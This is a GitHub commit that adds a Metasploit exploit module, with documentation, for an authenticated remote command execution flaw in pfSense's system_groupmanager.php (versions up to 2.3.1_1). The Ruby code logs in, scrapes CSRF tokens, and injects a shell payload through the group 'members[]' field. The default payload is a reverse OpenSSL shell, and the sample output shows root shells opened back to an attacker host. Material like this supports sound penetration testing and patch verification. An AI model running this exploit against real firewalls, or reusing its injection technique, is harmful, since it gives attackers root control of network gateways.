Skip to content

Commit 244acc4

Browse files
committed
Land rapid7#9212, pfsense group member exec module
2 parents 047aef6 + dd8238d commit 244acc4

File tree

2 files changed

+303
-0
lines changed

2 files changed

+303
-0
lines changed
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
## Description
2+
3+
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
4+
as root.
5+
6+
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
7+
8+
9+
## Vulnerable Application
10+
11+
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
12+
13+
Installer:
14+
15+
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
16+
17+
18+
## Verification Steps
19+
20+
1. Start `msfconsole`
21+
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
22+
3. Do: `set rhost [IP]`
23+
4. Do: `set username [username]`
24+
5. Do: `set password [password]`
25+
6. Do: `exploit`
26+
7. You should get a session
27+
28+
29+
## Sample Output
30+
31+
### 2.3-Release amd64
32+
33+
```
34+
[*] Processing pfsense.rc for ERB directives.
35+
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
36+
resource (pfsense.rc)> set rhost 2.2.2.2
37+
rhost => 2.2.2.2
38+
resource (pfsense.rc)> set verbose true
39+
verbose => true
40+
resource (pfsense.rc)> set lhost 1.1.1.1
41+
lhost => 1.1.1.1
42+
resource (pfsense.rc)> check
43+
[*] 2.2.2.2:443 The target service is running, but could not be validated.
44+
resource (pfsense.rc)> exploit
45+
[*] Started reverse double SSL handler on 1.1.1.1:4444
46+
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
47+
[*] Successful Authentication
48+
[*] pfSense Version Detected: 2.3-RELEASE
49+
[+] Login Successful
50+
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
51+
[*] Manual removal of group aJPEfJLDKT is required.
52+
[*] Accepted the first client connection...
53+
[*] Accepted the second client connection...
54+
[*] Command: echo 5ER6rqZOjOSGjRml;
55+
[*] Writing to socket A
56+
[*] Writing to socket B
57+
[*] Reading from sockets...
58+
[*] Reading from socket A
59+
[*] A: "5ER6rqZOjOSGjRml\n"
60+
[*] Matching...
61+
[*] B is input...
62+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
63+
64+
whoami
65+
root
66+
uname -a
67+
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
68+
```
69+
### 2.2.6 amd64
70+
71+
```
72+
[*] Processing pfsense.rc for ERB directives.
73+
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
74+
resource (pfsense.rc)> set rhost 3.3.3.3
75+
rhost => 3.3.3.3
76+
resource (pfsense.rc)> set verbose true
77+
verbose => true
78+
resource (pfsense.rc)> set lhost 1.1.1.1
79+
lhost => 1.1.1.1
80+
resource (pfsense.rc)> check
81+
[*] 3.3.3.3:443 The target is not exploitable.
82+
resource (pfsense.rc)> exploit
83+
[*] Started reverse double SSL handler on 1.1.1.1:4444
84+
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
85+
[*] Successful Authentication
86+
[*] pfSense Version Detected: 2.2.6-RELEASE
87+
[+] Login Successful
88+
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
89+
[*] Manual removal of group okUPTvzysL is required.
90+
[*] Accepted the first client connection...
91+
[*] Accepted the second client connection...
92+
[*] Command: echo 7hKg6oD9DkwXYRtt;
93+
[*] Writing to socket A
94+
[*] Writing to socket B
95+
[*] Reading from sockets...
96+
[*] Reading from socket B
97+
[*] B: "7hKg6oD9DkwXYRtt\n"
98+
[*] Matching...
99+
[*] A is input...
100+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
101+
102+
whoami
103+
root
104+
uname -a
105+
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
106+
```
107+
108+
## Cleanup
109+
110+
Manual cleanup is required. The group name is printed during exploitation.
111+
112+
## Logging
113+
114+
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'pfSense authenticated group member RCE',
16+
'Description' => %q(
17+
pfSense, a free BSD based open source firewall distribution,
18+
version <= 2.3.1_1 contains a remote command execution
19+
vulnerability post authentication in the system_groupmanager.php page.
20+
Verified against 2.2.6 and 2.3.
21+
),
22+
'Author' =>
23+
[
24+
's4squatch', # discovery
25+
'h00die' # module
26+
],
27+
'References' =>
28+
[
29+
[ 'EDB', '43128' ],
30+
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
31+
],
32+
'License' => MSF_LICENSE,
33+
'Platform' => 'unix',
34+
'Privileged' => false,
35+
'DefaultOptions' =>
36+
{
37+
'SSL' => true,
38+
'PAYLOAD' => 'cmd/unix/reverse_openssl'
39+
},
40+
'Arch' => [ ARCH_CMD ],
41+
'Payload' =>
42+
{
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'perl openssl'
47+
}
48+
},
49+
'Targets' =>
50+
[
51+
[ 'Automatic Target', {}]
52+
],
53+
'DefaultTarget' => 0,
54+
'DisclosureDate' => 'Nov 06 2017'
55+
)
56+
)
57+
58+
register_options(
59+
[
60+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
61+
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
62+
Opt::RPORT(443)
63+
], self.class
64+
)
65+
end
66+
67+
def login
68+
res = send_request_cgi(
69+
'uri' => '/index.php',
70+
'method' => 'GET'
71+
)
72+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
73+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
74+
75+
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
76+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
77+
vprint_status("CSRF Token for login: #{csrf}")
78+
79+
res = send_request_cgi(
80+
'uri' => '/index.php',
81+
'method' => 'POST',
82+
'vars_post' => {
83+
'__csrf_magic' => csrf,
84+
'usernamefld' => datastore['USERNAME'],
85+
'passwordfld' => datastore['PASSWORD'],
86+
'login' => ''
87+
}
88+
)
89+
unless res
90+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
91+
end
92+
if res.code == 302
93+
vprint_status('Successful Authentication')
94+
return res.get_cookies
95+
else
96+
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
97+
return nil
98+
end
99+
end
100+
101+
def detect_version(cookie)
102+
res = send_request_cgi(
103+
'uri' => '/index.php',
104+
'method' => 'GET',
105+
'cookie' => cookie
106+
)
107+
unless res
108+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
109+
end
110+
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
111+
if version
112+
print_status("pfSense Version Detected: #{version}")
113+
return Gem::Version.new(version)
114+
end
115+
# If the device isn't fully setup, you get stuck at redirects to wizard.php
116+
# however, this does NOT stop exploitation strangely
117+
print_error("pfSens Version Not Detected or wizard still enabled.")
118+
Gem::Version.new('0.0')
119+
end
120+
121+
def check
122+
begin
123+
res = send_request_cgi(
124+
'uri' => '/index.php',
125+
'method' => 'GET'
126+
)
127+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
128+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
129+
if /Login to pfSense/ =~ res.body
130+
Exploit::CheckCode::Detected
131+
else
132+
Exploit::CheckCode::Safe
133+
end
134+
rescue ::Rex::ConnectionError
135+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
136+
end
137+
end
138+
139+
def exploit
140+
begin
141+
cookie = login
142+
version = detect_version(cookie)
143+
vprint_good('Login Successful')
144+
res = send_request_cgi(
145+
'uri' => '/system_groupmanager.php',
146+
'method' => 'GET',
147+
'cookie' => cookie,
148+
'vars_get' => {
149+
'act' => 'new'
150+
}
151+
)
152+
153+
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
154+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
155+
vprint_status("CSRF Token for group creation: #{csrf}")
156+
157+
group_name = rand_text_alpha(10)
158+
post_vars = {
159+
'__csrf_magic' => csrf,
160+
'groupname' => group_name,
161+
'description' => '',
162+
'members[]' => "0';#{payload.encoded};'",
163+
'groupid' => '',
164+
'save' => 'Save'
165+
}
166+
if version >= Gem::Version.new('2.3')
167+
post_vars = post_vars.merge('gtype' => 'local')
168+
elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
169+
post_vars = post_vars.merge(
170+
'act' => '',
171+
'gtype' => '',
172+
'privid' => ''
173+
)
174+
end
175+
send_request_cgi(
176+
'uri' => '/system_groupmanager.php',
177+
'method' => 'POST',
178+
'cookie' => cookie,
179+
'vars_post' => post_vars,
180+
'vars_get' => {
181+
'act' => 'edit'
182+
}
183+
)
184+
print_status("Manual removal of group #{group_name} is required.")
185+
rescue ::Rex::ConnectionError
186+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
187+
end
188+
end
189+
end

0 commit comments

Comments
 (0)